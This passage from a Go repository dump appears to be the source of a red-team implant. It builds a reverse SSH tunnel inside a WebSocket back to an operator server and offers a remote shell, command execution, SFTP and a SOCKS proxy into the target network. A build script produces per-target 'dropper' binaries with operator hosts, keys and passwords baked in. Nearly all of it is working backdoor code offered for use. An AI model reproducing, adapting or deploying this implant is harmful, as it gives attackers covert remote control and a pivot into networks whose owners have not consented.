data\n\n\t// Setup headers\n\twssReq.Header.Set(\"User-Agent\",\n\t\t\"Mozilla/5.0 (Macintosh; Intel Mac OS X 1.5; rv:42.0) Gecko/20170101 Firefox/42.0\")\n\n\t// TODO: test auth: https://github.com/gorilla/websocket/blob/master/client_server_test.go\n\twsConn, resp, err := d.Dial(wssReqURL, wssReq.Header)\n\n\t// TODO: Backoff?\n\tif err != nil {\n\t\tlog.Printf(\"HTTP:WS: WS-Dial INTO remote server error: %s\", err)\n\t\tif err == websocket.ErrBadHandshake {\n\t\t\tlog.Printf(\"HTTP:WS: Response Status: %s\", resp.Status)\n\t\t\tlog.Fatalln(fmt.Printf(\"HTTP:WS: handshake failed with status %d\\n\", resp.StatusCode))\n\t\t}\n\t}\n\n\t// Implant side\n\t// Wrap SSH into WS\n\tconn := NewWebSocketConn(wsConn)\n\n\tsshConn, chans, reqs, err := ssh.NewClientConn(\n\t\tconn, SSHServerHost+\":\"+SSHServerPort, sshConfig)\n\tserverConn := ssh.NewClient(sshConn, chans, reqs)\n\n\t/* This is not needed as we are armorizing the tunnel\n\tserverConn, err = ssh.Dial(\"tcp\", serverEndpoint.String(), sshConfig)\n\t*/\n\n\t// Server (Red) side:\n\t// Listen on remote server port - SSH Shell, command, Subsystems\n\tlistener, err := serverConn.Listen(\"tcp\", SSHRemoteEndpoint.String())\n\tif err != nil {\n\t\tlog.Fatalln(fmt.Printf(\"SSH: Listen open port ON SSHRemoteEndpoint error: %s\", err))\n\t}\n\tdefer listener.Close()\n\n\t// Server (Red) side:\n\t// Listen on remote server port - SOCKS\n\tlistenerS, err := serverConn.Listen(\"tcp\", SSHRemoteEndpointSOCKS.String())\n\tif err != nil {\n\t\tlog.Fatalln(fmt.Printf(\"SSH: Listen open port ON SSHRemoteEndpointSOCKS error: %s\", err))\n\t}\n\tdefer listenerS.Close()\n\n\t// Server (Red) side:\n\t// Setup reverse SSH client authentication\n\tconfig := &ssh.ServerConfig{\n\t\t// Provide an additional level of protection for remote SSH shell\n\t\t// Operators have to provide a password to connect to the SSH implant tunnel randezvous\n\t\tPasswordCallback: func(c ssh.ConnMetadata, pass []byte) (*ssh.Permissions, error) {\n\t\t\tif c.User() == SSHRemoteCmdUser && string(pass) == SSHRemoteCmdPwd {\n\t\t\t\treturn nil, nil\n\t\t\t}\n\t\t\treturn nil, fmt.Errorf(\"SSH: RTO password (SSHRemoteCmdPwd) rejected for %q\", c.User())\n\t\t},\n\t\t// TODO: Implement Key-based auth for the operators\n\t\t// See: https://go.googlesource.com/crypto/+/master/ssh/client_auth_test.go\n\t}\n\n\t// use the same private key to come back to the implant\n\tconfig.AddHostKey(signer)\n\n\t// accept SOCKS listener\n\tgo acceptSLoop(listenerS)\n\t// accept SSH shell\n\tacceptLoop(listener, config)\n}\n\n\n\n// savePID saves daemon PID to file\nfunc savePID(pid int) {\n\n\tfile, err := os.Create(PIDFile)\n\tif err != nil {\n\t\tlog.Printf(\"Implant: Daemon Unable to create pid file : %v\\n\", err)\n\t}\n\n\tdefer file.Close()\n\n\t_, err = file.WriteString(strconv.Itoa(pid))\n\tif err != nil {\n\t\tlog.Printf(\"Implant: Daemon Unable to create pid file : %v\\n\", err)\n\t}\n\n\tfile.Sync() // flush to disk\n}\n"
  },
  {
    "path": "src/socksport.go",
    "content": "package main\n\nimport (\n\t\"bytes\"\n\t\"encoding/binary\"\n\t\"io\"\n\t\"log\"\n\t\"net\"\n\t\"sync\"\n)\n\n// handleSConn handles the SOCKS on the reverse tunnel end\nfunc handleSConn(local net.Conn) {\n\tconnections.Add(1)\n\tdefer local.Close()\n\tdefer connections.Done()\n\n\t// SOCKS does not include a length in the header, so take\n\t// a punt that each request will be readable in one go.\n\tbuf := make([]byte, 256)\n\n\t// read from local SOCKS\n\tn, err := local.Read(buf)\n\tif err != nil || n < 2 {\n\t\tlog.Printf(\"SOCKS: [%s] unable to read SOCKS header: %v\", local.RemoteAddr(), err)\n\t\treturn\n\t}\n\tbuf = buf[:n]\n\n\t// check SOCKS version\n\t// Note: Only implements v4\n\tswitch version := buf[0]; version {\n\tcase 4:\n\t\tswitch command := buf[1]; command {\n\t\tcase 1:\n\n\t\t\t// get forwarded TCP port from SOCKS stream\n\t\t\tport := binary.BigEndian.Uint16(buf[2:4])\n\n\t\t\t// get forwarded IP addr from SOCKS stream\n\t\t\tip := net.IP(buf[4:8])\n\n\t\t\t// create net address from the ip/port info\n\t\t\taddr := &net.TCPAddr{IP: ip, Port: int(port)}\n\t\t\tbuf := buf[8:]\n\t\t\ti := bytes.Index(buf, []byte{0})\n\t\t\tif i < 0 {\n\t\t\t\tlog.Printf(\"SOCKS: [%s] unable to locate SOCKS4 user\", local.RemoteAddr())\n\t\t\t\treturn\n\t\t\t}\n\n\t\t\t// is there a user\n\t\t\tuser := buf[:i]\n\t\t\tlog.Printf(\"SOCKS: [%s] incoming SOCKS4 TCP/IP stream connection, user=%q, raddr=%s\", local.RemoteAddr(), user, addr)\n\n\t\t\t// dial from local SOCKS to remote (requested  proxied) address over SSH tunnel\n\t\t\tlog.Printf(\"SOCKS: dial %s <- %s\", local.RemoteAddr(), local.LocalAddr())\n\t\t\t//remote, err := dialer.DialTCP(\"tcp4\", local.RemoteAddr().(*net.TCPAddr), addr)\n\t\t\tremote, err := net.Dial(\"tcp4\", addr.String())\n\t\t\tif err != nil {\n\t\t\t\tlog.Printf(\"SOCKS: [%s] unable to connect to remote host: %v\", local.RemoteAddr(), err)\n\t\t\t\tlocal.Write([]byte{0, 0x5b, 0, 0, 0, 0, 0, 0})\n\t\t\t\treturn\n\t\t\t}\n\t\t\tlocal.Write([]byte{0, 0x5a, 0, 0, 0, 0, 0, 0})\n\n\t\t\t// transfer bytes from local SOCKS to remote proxied desired endpoint\n\t\t\ttransfer(local, remote)\n\t\tdefault:\n\t\t\tlog.Printf(\"SOCKS: [%s] unsupported command, closing connection\", local.RemoteAddr())\n\t\t}\n\tcase 5:\n\t\tauthlen, buf := buf[1], buf[2:]\n\t\tauths, buf := buf[:authlen], buf[authlen:]\n\t\tif !bytes.Contains(auths, []byte{0}) {\n\t\t\tlog.Printf(\"SOCKS: [%s] unsuported SOCKS5 authentication method\", local.RemoteAddr())\n\t\t\tlocal.Write([]byte{0x05, 0xff})\n\t\t\treturn\n\t\t}\n\t\tlocal.Write([]byte{0x05, 0x00})\n\t\tbuf = make([]byte, 256)\n\t\tn, err := local.Read(buf)\n\t\tif err != nil {\n\t\t\tlog.Printf(\"SOCKS: [%s] unable to read SOCKS header: %v\", local.RemoteAddr(), err)\n\t\t\treturn\n\t\t}\n\t\tbuf = buf[:n]\n\t\tswitch version := buf[0]; version {\n\t\tcase 5:\n\t\t\tswitch command := buf[1]; command {\n\t\t\tcase 1:\n\t\t\t\tbuf = buf[3:]\n\t\t\t\tswitch addrtype := buf[0]; addrtype {\n\t\t\t\tcase 1:\n\t\t\t\t\tif len(buf) < 8 {\n\t\t\t\t\t\tlog.Printf(\"SOCKS: [%s] corrupt SOCKS5 TCP/IP stream connection request\", local.RemoteAddr())\n\t\t\t\t\t\tlocal.Write([]byte{0x05, 0x07, 0x00, 0x01, 0, 0, 0, 0, 0, 0})\n\t\t\t\t\t\treturn\n\t\t\t\t\t}\n\t\t\t\t\tip := net.IP(buf[1:5])\n\t\t\t\t\tport := binary.BigEndian.Uint16(buf[5:6])\n\t\t\t\t\taddr := &net.TCPAddr{IP: ip, Port: int(port)}\n\t\t\t\t\tlog.Printf(\"SOCKS: [%s] incoming SOCKS5 TCP/IP stream connection, raddr=%s\", local.RemoteAddr(), addr)\n\t\t\t\t\t// remote, err := dialer.DialTCP(\"tcp\", local.RemoteAddr().(*net.TCPAddr), addr)\n\t\t\t\t\tremote, err := net.Dial(\"tcp4\", addr.String())\n\t\t\t\t\tif err != nil {\n\t\t\t\t\t\tlog.Printf(\"SOCKS: [%s] unable to connect to remote host: %v\", local.RemoteAddr(), err)\n\t\t\t\t\t\tlocal.Write([]byte{0x05, 0x04, 0x00, 0x01, 0, 0, 0, 0, 0, 0})\n\t\t\t\t\t\treturn\n\t\t\t\t\t}\n\t\t\t\t\tlocal.Write([]byte{0x05, 0x00, 0x00, 0x01, ip[0], ip[1], ip[2], ip[3], byte(port >> 8), byte(port)})\n\t\t\t\t\ttransfer(local, remote)\n\t\t\t\tcase 3:\n\t\t\t\t\taddrlen, buf := buf[1], buf[2:]\n\t\t\t\t\tname, buf := buf[:addrlen], buf[addrlen:]\n\t\t\t\t\tip, err := net.ResolveIPAddr(\"ip\", string(name))\n\t\t\t\t\tif err != nil {\n\t\t\t\t\t\tlog.Printf(\"SOCKS: [%s] unable to resolve IP address: %q, %v\", local.RemoteAddr(), name, err)\n\t\t\t\t\t\tlocal.Write([]byte{0x05, 0x04, 0x00, 0x01, 0, 0, 0, 0, 0, 0})\n\t\t\t\t\t\treturn\n\t\t\t\t\t}\n\t\t\t\t\tport := binary.BigEndian.Uint16(buf[:2])\n\t\t\t\t\taddr := &net.TCPAddr{IP: ip.IP, Port: int(port)}\n\t\t\t\t\t// remote, err := dialer.DialTCP(\"tcp\", local.RemoteAddr().(*net.TCPAddr), addr)\n\t\t\t\t\tremote, err := net.Dial(\"tcp4\", addr.String())\n\t\t\t\t\tif err != nil {\n\t\t\t\t\t\tlog.Printf(\"SOCKS: [%s] unable to connect to remote host: %v\", local.RemoteAddr(), err)\n\t\t\t\t\t\tlocal.Write([]byte{0x05, 0x04, 0x00, 0x01, 0, 0, 0, 0, 0, 0})\n\t\t\t\t\t\treturn\n\t\t\t\t\t}\n\t\t\t\t\tlocal.Write([]byte{0x05, 0x00, 0x00, 0x01, addr.IP[0], addr.IP[1], addr.IP[2], addr.IP[3], byte(port >> 8), byte(port)})\n\t\t\t\t\ttransfer(local, remote)\n\n\t\t\t\tdefault:\n\t\t\t\t\tlog.Printf(\"SOCKS: [%s] unsupported SOCKS5 address type: %d\", local.RemoteAddr(), addrtype)\n\t\t\t\t\tlocal.Write([]byte{0x05, 0x08, 0x00, 0x01, 0, 0, 0, 0, 0, 0})\n\t\t\t\t}\n\t\t\tdefault:\n\t\t\t\tlog.Printf(\"SOCKS: [%s] unknown SOCKS5 command: %d\", local.RemoteAddr(), command)\n\t\t\t\tlocal.Write([]byte{0x05, 0x07, 0x00, 0x01, 0, 0, 0, 0, 0, 0})\n\t\t\t}\n\t\tdefault:\n\t\t\tlog.Printf(\"SOCKS: [%s] unnknown version after SOCKS5 handshake: %d\", local.RemoteAddr(), version)\n\t\t\tlocal.Write([]byte{0x05, 0x07, 0x00, 0x01, 0, 0, 0, 0, 0, 0})\n\t\t}\n\tdefault:\n\t\tlog.Printf(\"SOCKS: [%s] unknown SOCKS version: %d\", local.RemoteAddr(), version)\n\t}\n}\n\n// transfer tranfers bytes\n// in - local SOCKS conn (Red)\n// out - remote desired endpoint (Blue)\nfunc transfer(in, out net.Conn) {\n\twg := new(sync.WaitGroup)\n\twg.Add(2)\n\tf := func(in, out net.Conn, wg *sync.WaitGroup) {\n\n\t\t// copy bytes verbatim\n\t\tn, err := io.Copy(out, in)\n\t\tlog.Printf(\"SOCKS: xfer done: in=%v\\tout=%v\\ttransfered=%d\\terr=%v\", in.RemoteAddr(), out.RemoteAddr(), n, err)\n\n\t\t// close write side on local SOCKS\n\t\tif conn, ok := in.(*net.TCPConn); ok {\n\t\t\tconn.CloseWrite()\n\t\t}\n\n\t\t// close read side to remote endpoint\n\t\tif conn, ok := out.(*net.TCPConn); ok {\n\t\t\tconn.CloseRead()\n\t\t}\n\t\twg.Done()\n\t}\n\tgo f(in, out, wg)\n\tf(out, in, wg)\n\twg.Wait()\n\tout.Close()\n}\n"
  },
  {
    "path": "src/traffic.go",
    "content": "package main\n\nimport (\n\t\"fmt\"\n\t\"io\"\n\t\"io/ioutil\"\n\t\"log\"\n\t\"net\"\n\t\"os\"\n\t\"os/exec\"\n\t\"sync\"\n\t\"syscall\"\n\t\"time\"\n\n\t\"github.com/kr/pty\"\n\t\"github.com/pkg/sftp\"\n\t\"golang.org/x/crypto/ssh\"\n\t\"github.com/gorilla/websocket\"\n)\n\n// Listens for SSH connection\nfunc listenConnection(client net.Conn, config *ssh.ServerConfig) {\n\n\t// Before use, a handshake must be performed on the incoming net.Conn.\n\tsshConn, chans, reqs, err := ssh.NewServerConn(client, config)\n\tif err != nil {\n\t\tlog.Printf(\"SSH: Failed to handshake (%s)\", err)\n\t\treturn\n\t}\n\n\tlog.Printf(\"SSH: New connection from %s (%s)\", sshConn.RemoteAddr(), sshConn.ClientVersion())\n\n\t// Discard all irrelevant incoming request but serve the one you really need to care.\n\t// DiscardRequests consumes and rejects all requests from the\n\t// passed-in channel.\n\t// TODO: why we need this?\n\t//       go ssh.DiscardRequests(reqs)\n\tgo handleRequests(reqs)\n\t// Accept all channels\n\tgo handleChannels(chans)\n\n}\n\nfunc listenSConnection(SClientConn net.Conn) {\n\tgo handleSConn(SClientConn)\n}\n\nfunc acceptLoop(listener net.Listener, config *ssh.ServerConfig) {\n\tlog.Printf(\"SSH: SSH Port Listener: %s\\n\", listener.Addr().String())\n\tdefer listener.Close()\n\tfor {\n\t\tclientConn, err := listener.Accept()\n\t\tif err != nil {\n\t\t\tlog.Fatal(err)\n\t\t}\n\t\tlog.Printf(\"SSH: New connection found on %s\\n\", listener.Addr().String())\n\t\tgo listenConnection(clientConn, config)\n\t}\n}\n\nfunc acceptSLoop(listener net.Listener) {\n\n\tlog.Printf(\"SSH: SOCKS Listener: %s\\n\", listener.Addr().String())\n\tdefer listener.Close()\n\tfor {\n\t\tclientConn, err := listener.Accept()\n\t\tlog.Printf(\"local addr %s\\n\", clientConn.LocalAddr())\n\t\tif err != nil {\n\t\t\tlog.Fatal(err)\n\t\t}\n\t\tlog.Printf(\"SSH: SOCKS: New connection found on %s\\n\", listener.Addr().String())\n\n\t\tgo listenSConnection(clientConn)\n\t}\n\n\tlog.Println(\"SSH: waiting for all existing connections to finish\")\n\tconnections.Wait()\n\tlog.Println(\"SSH: shutting down\")\n}\n\nfunc handleRequests(reqs <-chan *ssh.Request) {\n\tfor req := range reqs {\n\t\tlog.Printf(\"SSH: received out-of-band request: %+v\", req)\n\t}\n}\n\n// Start assigns a pseudo-terminal tty os.File to c.Stdin, c.Stdout,\n// and c.Stderr, calls c.Start, and returns the File of the tty's\n// corresponding pty.\nfunc PtyRun(c *exec.Cmd, tty *os.File) (err error) {\n\tdefer tty.Close()\n\tc.Stdout = tty\n\tc.Stdin = tty\n\tc.Stderr = tty\n\tc.SysProcAttr = &syscall.SysProcAttr{\n\t\tSetctty: true,\n\t\tSetsid:  true,\n\t}\n\treturn c.Start()\n}\n\nfunc handleChannels(chans <-chan ssh.NewChannel) {\n\n\t// Service the incoming Channel channel.\n\tfor newChannel := range chans {\n\t\t// Channels have a type, depending on the application level\n\t\t// protocol intended. In the case of a shell, the type is\n\t\t// \"session\" and ServerShell may be used to present a simple\n\t\t// terminal interface.\n\t\t// TODO: other types of channels (x11, forwarded-tcp, direct-tcp) may need to be handled here\n\t\tif t := newChannel.ChannelType(); t != \"session\" {\n\t\t\tnewChannel.Reject(ssh.UnknownChannelType, fmt.Sprintf(\"SSH: unknown channel type: %s\", t))\n\t\t\tcontinue\n\t\t}\n\t\tchannel, requests, err := newChannel.Accept()\n\t\tif err != nil {\n\t\t\tlog.Printf(\"SSH: could not accept channel (%s)\", err)\n\t\t\tcontinue\n\t\t}\n\n\t\t// allocate a terminal for this channel\n\t\tlog.Print(\"SSH: creating pty...\")\n\t\t// Create new pty\n\t\tf, tty, err := pty.Open()\n\t\tif err != nil {\n\t\t\tlog.Printf(\"SSH: could not start pty (%s)\", err)\n\t\t\tcontinue\n\t\t}\n\n\t\tvar shell string\n\t\tshell = os.Getenv(\"SHELL\")\n\t\tif shell == \"\" {\n\t\t\tshell = SSHShell // Take defaults\n\t\t}\n\n\t\t// Sessions have out-of-band requests such as \"exec\", \"shell\", \"pty-req\" and \"env\"\n\t\tgo func(in <-chan *ssh.Request) {\n\t\t\tfor req := range in {\n\n\t\t\t\t// log.Printf(\"%v %s\", req.Payload, req.Payload)\n\t\t\t\tok := false\n\t\t\t\tswitch req.Type {\n\n\t\t\t\tcase \"exec\":\n\t\t\t\t\tok = true\n\t\t\t\t\tcommand := string(req.Payload[4 : req.Payload[3]+4])\n\n\t\t\t\t\t// Start Command via shell\n\t\t\t\t\t// TODO: maybe without shell?\n\t\t\t\t\tcmd := exec.Command(shell, []string{\"-c\", command}...)\n\t\t\t\t\tlog.Printf(\"SSH: cmd to exec: %s\\n\", command)\n\n\t\t\t\t\tcmd.Stdout = channel\n\t\t\t\t\tcmd.Stderr = channel\n\t\t\t\t\tcmd.Stdin = channel\n\n\t\t\t\t\terr := cmd.Start()\n\t\t\t\t\tif err != nil {\n\t\t\t\t\t\tlog.Printf(\"SSH: could not start command (%s)\", err)\n\t\t\t\t\t\tcontinue\n\t\t\t\t\t}\n\n\t\t\t\t\t// Teardown session\n\t\t\t\t\tgo func() {\n\t\t\t\t\t\t_, err := cmd.Process.Wait()\n\t\t\t\t\t\tif err != nil {\n\t\t\t\t\t\t\tlog.Printf(\"SSH: failed to exit bash (%s)\", err)\n\t\t\t\t\t\t}\n\t\t\t\t\t\tchannel.Close()\n\t\t\t\t\t\tlog.Printf(\"SSH: session closed\")\n\t\t\t\t\t}()\n\n\t\t\t\tcase \"shell\":\n\t\t\t\t\t// TODO: parameterize shell and TERM\n\t\t\t\t\tcmd := exec.Command(shell)\n\t\t\t\t\tcmd.Env = []string{\"TERM=\" + SSHEnvTerm}\n\t\t\t\t\terr := PtyRun(cmd, tty)\n\t\t\t\t\tif err != nil {\n\t\t\t\t\t\tlog.Printf(\"SSH: Error Pty: %s\", err)\n\t\t\t\t\t}\n\n\t\t\t\t\t// Teardown session\n\t\t\t\t\tvar once sync.Once\n\t\t\t\t\tcloseCh := func() {\n\t\t\t\t\t\tchannel.Close()\n\t\t\t\t\t\tlog.Printf(\"SSH: session closed\")\n\t\t\t\t\t}\n\n\t\t\t\t\t//pipe session to bash and visa-versa\n\t\t\t\t\tgo func() {\n\t\t\t\t\t\t_, err := io.Copy(channel, f)\n\t\t\t\t\t\tif err != nil {\n\t\t\t\t\t\t\tlog.Println(fmt.Sprintf(\"SSH: error copy BLUE SHELL -> RED remote : %s\", err))\n\t\t\t\t\t\t}\n\t\t\t\t\t\tonce.Do(closeCh)\n\t\t\t\t\t}()\n\t\t\t\t\tgo func() {\n\t\t\t\t\t\t_, err := io.Copy(f, channel)\n\t\t\t\t\t\tif err != nil {\n\t\t\t\t\t\t\tlog.Println(fmt.Sprintf(\"error copy RED remote -> BLUE SHELL: %s\", err))\n\t\t\t\t\t\t}\n\t\t\t\t\t\tonce.Do(closeCh)\n\t\t\t\t\t}()\n\n\t\t\t\t\t// We don't accept any commands (Payload),\n\t\t\t\t\t// only the default shell.\n\t\t\t\t\t// TODO: What is this and do we need it?\n\t\t\t\t\tif len(req.Payload) == 0 {\n\t\t\t\t\t\tok = true\n\t\t\t\t\t}\n\n\t\t\t\tcase \"pty-req\":\n\t\t\t\t\t// Responding 'ok' here will let the client\n\t\t\t\t\t// know we have a pty ready for input\n\t\t\t\t\tok = true\n\t\t\t\t\t// Parse body...\n\t\t\t\t\ttermLen := req.Payload[3]\n\t\t\t\t\ttermEnv := string(req.Payload[4 : termLen+4])\n\t\t\t\t\tw, h := parseDims(req.Payload[termLen+4:])\n\t\t\t\t\tSetWinsize(f.Fd(), w, h)\n\t\t\t\t\tlog.Printf(\"SSH: pty-req '%s'\", termEnv)\n\n\t\t\t\tcase \"window-change\":\n\t\t\t\t\tw, h := parseDims(req.Payload)\n\t\t\t\t\tSetWinsize(f.Fd(), w, h)\n\t\t\t\t\tcontinue //no response\n\n\t\t\t\tcase \"subsystem\":\n\t\t\t\t\tlog.Printf(\"SSH: Subsystem wanted: %s\\n\", req.Payload[4:])\n\t\t\t\t\tsubsystemId := string(req.Payload[4:])\n\t\t\t\t\tif subsystemId == \"sftp\" {\n\n\t\t\t\t\t\tdebugStream := ioutil.Discard\n\t\t\t\t\t\tserverOptions := []sftp.ServerOption{\n\t\t\t\t\t\t\tsftp.WithDebug(debugStream),\n\t\t\t\t\t\t}\n\n\t\t\t\t\t\tserver, err := sftp.NewServer(\n\t\t\t\t\t\t\tchannel,\n\t\t\t\t\t\t\tserverOptions...,\n\t\t\t\t\t\t)\n\t\t\t\t\t\tif err != nil {\n\t\t\t\t\t\t\tlog.Println(\"SSH: SFTP error\", err)\n\t\t\t\t\t\t}\n\t\t\t\t\t\tif err := server.Serve(); err == io.EOF {\n\t\t\t\t\t\t\tserver.Close()\n\t\t\t\t\t\t\tlog.Println(\"SSH: SFTP client exited session.\")\n\t\t\t\t\t\t} else if err != nil {\n\t\t\t\t\t\t\tlog.Println(\"SSH: SFTP server completed with error:\", err)\n\t\t\t\t\t\t}\n\n\t\t\t\t\t\tok = true\n\t\t\t\t\t} else {\n\t\t\t\t\t\t// TODO: Implement `env` type of *ssh.Request\n\t\t\t\t\t\tlog.Printf(\"Declining Subsystem: %s\\n\", subsystemId)\n\t\t\t\t\t}\n\t\t\t\t}\n\n\t\t\t\tif !ok {\n\t\t\t\t\tlog.Printf(\"SSH: declining %s request...\", req.Type)\n\t\t\t\t}\n\n\t\t\t\treq.Reply(ok, nil)\n\t\t\t}\n\t\t}(requests)\n\t}\n}\n\n// In order to comply websocket to net.Conn interface it needs to implement Read/Write\n// TODO: Refactor\nfunc NewWebSocketConn(websocketConn *websocket.Conn) net.Conn {\n\tc := wsConn{\n\t\tConn: websocketConn,\n\t}\n\treturn &c\n}\n\n//Read is not threadsafe though thats okay since there\n//should never be more than one reader\nfunc (c *wsConn) Read(dst []byte) (int, error) {\n\tldst := len(dst)\n\t//use buffer or read new message\n\tvar src []byte\n\tif l := len(c.buff); l > 0 {\n\t\tsrc = c.buff\n\t\tc.buff = nil\n\t} else {\n\t\tt, msg, err := c.Conn.ReadMessage()\n\t\tif err != nil {\n\t\t\treturn 0, err\n\t\t} else if t != websocket.BinaryMessage {\n\t\t\tlog.Printf(\"<WARNING> non-binary msg\")\n\t\t}\n\t\tsrc = msg\n\t}\n\t//copy src->dest\n\tvar n int\n\tif len(src) > ldst {\n\t\t//copy as much as possible of src into dst\n\t\tn = copy(dst, src[:ldst])\n\t\t//copy remainder into buffer\n\t\tr := src[ldst:]\n\t\tlr := len(r)\n\t\tc.buff = make([]byte, lr)\n\t\tcopy(c.buff, r)\n\t} else {\n\t\t//copy all of src into dst\n\t\tn = copy(dst, src)\n\t}\n\t//return bytes copied\n\treturn n, nil\n}\n\nfunc (c *wsConn) Write(b []byte) (int, error) {\n\tif err := c.Conn.WriteMessage(websocket.BinaryMessage, b); err != nil {\n\t\treturn 0, err\n\t}\n\tn := len(b)\n\treturn n, nil\n}\n\nfunc (c *wsConn) SetDeadline(t time.Time) error {\n\tif err := c.Conn.SetReadDeadline(t); err != nil {\n\t\treturn err\n\t}\n\treturn c.Conn.SetWriteDeadline(t)\n}"
  },
  {
    "path": "src/types.go",
    "content": "package main\n\nimport (\n\t\"fmt\"\n\t\"github.com/gorilla/websocket\"\n)\n\n// Implant Types\n\n// Endpoint: address:port\ntype Endpoint struct {\n\tHost string\n\tPort string\n}\n\nfunc (endpoint *Endpoint) String() string {\n\treturn fmt.Sprintf(\"%s:%s\", endpoint.Host, endpoint.Port)\n}\n\n// Websocket connection\ntype wsConn struct {\n\t*websocket.Conn\n\tbuff []byte\n}\n"
  },
  {
    "path": "src/vars.go",
    "content": "package main\n\nimport \"sync\"\n\n// Global vars\nvar connections = new(sync.WaitGroup)\n\n// LD_FLAGS' modifiable constants\nvar (\n\tSSHServerHost string //SSHServer host\n\tSSHServerPort string //SSHServer port\n\tSSHServerUser string //SSHServer user, logging in to SSHServer SSH\n\n\tSSHRemoteCmdHost string //SSHRemote host\n\tSSHRemoteCmdPort string //SSHRemote port\n\tSSHRemoteCmdUser string //user logging in on reverse SSH shell, addt'l control\n\tSSHRemoteCmdPwd  string //pw for the ^^ user\n\n\tSSHShell           string // Default Shell\n\tSSHEnvTerm\t\t   string // Terminal for `exec` request type\n\tSSHRemoteSocksHost string //SOCKS host\n\tSSHRemoteSocksPort string //SOCKS port\n\n\tSSHServerUserKey           string // Encrypted RSA key for SSH tunnel. Embedded unwrap\n\tSSHServerUserKeyUrl        string // Where encrypted RSA key for SSH tunnel lives. Remote unwrap\n\tSSHServerUserKeyPassphrase string // decryption key for ^^\n\n\tHTTPProxy                string // HTTP Proxy\n\tHTTPProxyFromEnvironment string // HTTP Proxy set from the Blue environment\n\tHTTPProxyAuthUser        string // HTTP Proxy User\n\tHTTPProxyAuthPass        string // HTTP Proxy Pass\n\tHTTPEndpoint             string // HTTP Endpoint\n\tWSEndpoint               string // WS/S Endpoint\n\n\tLogFile   string // Log file for implant (debugging)\n\tDaemonize string // Background our of the controlling terminal\n\tPIDFile   string // PID File for daemon\n)\n\n// SSHRemote reverse forwarding port for shell (on Red network)\nvar SSHRemoteEndpoint = Endpoint{\n\tHost: SSHRemoteCmdHost,\n\tPort: SSHRemoteCmdPort,\n}\n\n// SSHRemote reverse forwarding port for SOCKS (on Red network)\nvar SSHRemoteEndpointSOCKS = Endpoint{\n\tHost: SSHRemoteSocksHost,\n\tPort: SSHRemoteSocksPort,\n}\n"
  },
  {
    "path": "tools/build_implant.sh",
    "content": "#!/bin/bash\n\nusage(){\n    echo \"Message: $2\\n\"\n    echo \"Usage: $1 [build.profile]\\n\"\n    exit 1\n}\n\n\nif [[ $# -eq 0 ]]\nthen\n    BUILDCONF=\"./build.profile\"\nelse\n    BUILDCONF=${1}\nfi\n\nif [[ -f  ${BUILDCONF} ]]\nthen\n    source ${BUILDCONF}\nelse\n    usage $0 \"Cannot find build configuration\"\nfi\n\n\n#------------------------- Build --------------------#\nexport GOOS=${DropperOS} GOARCH=${DropperArch}\n\nTOP_DIR=\"/Users/dimas/Code/go/src/sshpipe\"\nTOOL_DIR=\"${TOP_DIR}/tools\"\nCODE_DIR=\"${TOP_DIR}/src\"\nOUT_DIR=\"${TOP_DIR}/out/${ImplantID}\"\n\n[[ ! -d ${OUT_DIR} ]] && mkdir ${OUT_DIR}\ncd ${TOP_DIR}\n\nprintf \"\\n\\n\\t%s\\n\" \"Cutting Implant ID ${ImplantID} for target (${DropperOS}/${DropperArch})\"\nprintf \"\\n%s\\n\" \"### PHASE I:  Implant Generation ###\"\nprintf \"%s\\n\\n\" \"------------------------------------\"\n\necho \"[*] Building Keys For ${ImplantID} \"\ngo run ${TOOL_DIR}/keygen.go \\\n       -bits ${SSHServerUserKeyBits}  -pass ${SSHServerUserKeyPassphrase} \\\n       -pkfile ${SSHServerUserKeyFile}.pk \\\n       -pkfile-b64 ${SSHServerUserKeyFile}.bpk \\\n       -pubfile ${SSHServerUserKeyFile}.pub\n\nif [[ $? -eq 0 ]]\nthen\n    echo\n    echo \"[*] Building dropper ${ImplantID} (${DropperName}) for ${DropperOS} / ${DropperArch} \"\n\n    go build  -buildmode=${DropperBuildType} -ldflags \\\n\t\"-s -w \\\n     -X main.ImplantID=${ImplantID}  \\\n     -X main.SSHShell=${SSHShell}  \\\n     -X main.SSHEnvTerm=${SSHEnvTerm}  \\\n     -X main.SSHServerPort=${SSHServerPort}  \\\n     -X main.SSHServerHost=${SSHServerHost} \\\n     -X main.SSHServerUser=${SSHServerUser} \\\n     -X main.SSHServerUserKey=$( cat ${SSHServerUserKeyFile}.bpk ) \\\n     -X main.SSHServerUserKeyUrl=${SSHServerUserKeyUrl} \\\n     -X main.SSHServerUserKeyPassphrase=${SSHServerUserKeyPassphrase} \\\n     -X main.SSHRemoteCmdHost=${SSHRemoteCmdHost}  \\\n     -X main.SSHRemoteCmdPort=${SSHRemoteCmdPort} \\\n     -X main.SSHRemoteCmdUser=${SSHRemoteCmdUser} \\\n     -X main.SSHRemoteCmdPwd=${SSHRemoteCmdPwd} \\\n     -X main.SSHRemoteSocksHost=${SSHRemoteSocksHost} \\\n     -X main.SSHRemoteSocksPort=${SSHRemoteSocksPort} \\\n     -X main.HTTPProxyFromEnvironment=${HTTPProxyFromEnvironment} \\\n     -X main.HTTPProxy=${HTTPProxy} \\\n     -X main.HTTPProxyAuthUser=${HTTPProxyAuthUser} \\\n     -X main.HTTPProxyAuthPass=${HTTPProxyAuthPass} \\\n     -X main.HTTPEndpoint=${HTTPEndpoint} \\\n     -X main.WSEndpoint=${WSEndpoint} \\\n     -X main.LogFile=${LogFile} \\\n     -X main.PIDFile=${PIDFile}  \\\n     -X main.Daemonize=${Daemonize}\" \\\n     -o ${OUT_DIR}/${DropperName} \\\n            ${CODE_DIR}/rssh.go  ${CODE_DIR}/types.go ${CODE_DIR}/vars.go \\\n            ${CODE_DIR}/pty.go ${CODE_DIR}/socksport.go ${CODE_DIR}/keymgmt.go \\\n            ${CODE_DIR}/traffic.go\nelse\n    printf \"    %s\\n\" \"KeyGen unsuccessful\"\n    exit 2\nfi\n\nif [[ $? -eq 0 ]]\nthen\n\nprintf \"\\n\\n%s\\n\\n\" \"**********************************************\"\necho \"Implant: ${DropperName} ($(stat -f '%z bytes' ${OUT_DIR}/${DropperName})) Generated\"\necho \"!!! Here is the info on Implant configuraton !!!\"\necho \"!!! Record the info somewhere safe and we have saved a copy here !!!\"\necho \"!!!     Implant Info: ${OUT_DIR}/${ImplantID}.info               !!!\"\necho \"!!! This info is mostly embedded in the Implant.                 !!!\"\necho \"!!! Again, save it, or you will need to regenerate the implant.  !!!\"\nprintf \"%s\\n\\n\" \"**********************************************\"\n\nprintf \"%s\\n\\n\" \"-------------- START INFO--------------\"\ncat<<END | tee 